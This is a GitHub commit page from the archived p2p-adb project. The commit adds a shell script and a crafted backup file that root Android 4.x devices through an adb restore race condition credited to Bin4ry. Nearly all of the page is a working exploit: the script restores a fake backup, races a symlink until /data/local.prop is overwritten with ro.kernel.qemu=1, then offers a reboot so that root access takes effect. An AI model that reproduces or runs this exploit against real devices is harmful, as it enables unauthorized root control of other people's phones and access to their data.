Skip to content
This repository has been archived by the owner on Mar 14, 2023. It is now read-only.

Commit

Permalink
Added new adb restore race condition root exploit by Bin4ry:
Browse files Browse the repository at this point in the history
http://forum.xda-developers.com/showthread.php?t=1886460

Started the server immediately at runtime (before wait-for-device)
  • Loading branch information
Kos committed Sep 16, 2012
1 parent 9797ccb commit c362907
Show file tree
Hide file tree
Showing 2 changed files with 24 additions and 0 deletions.
Binary file added includes/fakebackup.ab
Binary file not shown.
24 changes: 24 additions & 0 deletions root4.x.sh
@@ -0,0 +1,24 @@
# p2p-adb
# https://github.com/kosborn/p2p-adb/
# @theKos
# kyle@kyleosborn.com

# This vulnerability discovered here:
# http://forum.xda-developers.com/showthread.php?t=1886460
# By Bin4ry


adb restore includes/fakebackup.ab

command "while ! ln -s /data/local.prop /data/data/com.android.settings/a/file99 2>/dev/null; do :; done; echo 'Overwrote local.prop!';"

if command "cat /data/local.prop" |grep ro.kernel.qemu=1 > /dev/null
then echo "Succesfully rooted!"
echo "Requires a reboot..."
echo "Would you like to reboot? (y/N)"
read reboot
case "$reboot" in
y|Y) adb reboot ;;
*) echo "" ;;
esac
fi

0 comments on commit c362907

Please sign in to comment.